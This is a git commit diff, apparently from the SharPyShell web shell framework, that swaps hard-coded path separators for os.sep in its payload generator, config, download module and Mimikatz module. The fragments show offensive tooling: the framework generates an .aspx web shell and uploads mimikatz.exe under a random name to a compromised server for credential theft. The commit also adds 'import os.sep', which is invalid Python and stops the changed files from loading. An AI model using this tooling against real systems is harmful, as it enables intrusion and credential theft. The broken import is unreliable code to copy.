added compatibility for Windows paths

This commit is contained in:
antonioCoco
2021-09-19 13:18:02 +02:00
parent acdcd8d31f
commit 0f4d0e460b
4 changed files with 9 additions and 7 deletions
+3 -2
View File
@@ -4,6 +4,7 @@ from itertools import cycle
import hashlib
import random
import io
import os.sep
class Generate():
@@ -12,8 +13,8 @@ class Generate():
__obfuscator = ''
__endian_type = ''
__templates_path = config.sharpyshell_path+'agent/'
__runtime_compiler_path = __templates_path + 'runtime_compiler/'
__templates_path = config.sharpyshell_path+'agent'+os.sep
__runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
__output_path = config.output_path + 'sharpyshell.aspx'
def __init__(self, password, encryption, obfuscator, endian_type, output):
+3 -3
View File
@@ -19,7 +19,7 @@ banner = """
""" % header
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
sharpyshell_path=os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep
sys.path.insert(0, sharpyshell_path)
modules_paths=sharpyshell_path + 'modules/'
output_path=sharpyshell_path + 'output/'
modules_paths=sharpyshell_path + 'modules' + os.sep
output_path=sharpyshell_path + 'output' + os.sep
+1 -1
View File
@@ -23,7 +23,7 @@ class Download(Module):
Positional arguments:
remote_input_path The file path you want to download from the remote server
local_output_path The path where the file will be saved on your local machine
Default: 'output/' directory of Sharpyshell directory
Default: 'output' directory of Sharpyshell directory
chunk_size The maximum limit of a chunk to be transferred over the network
Default: 102400
+2 -1
View File
@@ -8,6 +8,7 @@ from modules.invoke_ps_module_as import Invoke_ps_module_as
from modules.inject_dll_srdi import Inject_dll_srdi
from utils.random_string import random_generator
import traceback
import os.sep
class MimikatzModuleException(ModuleException):
@@ -104,7 +105,7 @@ class Mimikatz(Module):
if 'mimikatz.exe' in self._module_settings.keys():
bin_path = self._module_settings['mimikatz.exe']
else:
exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print ('\n\n\nUploading mimikatz binary....\n')
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))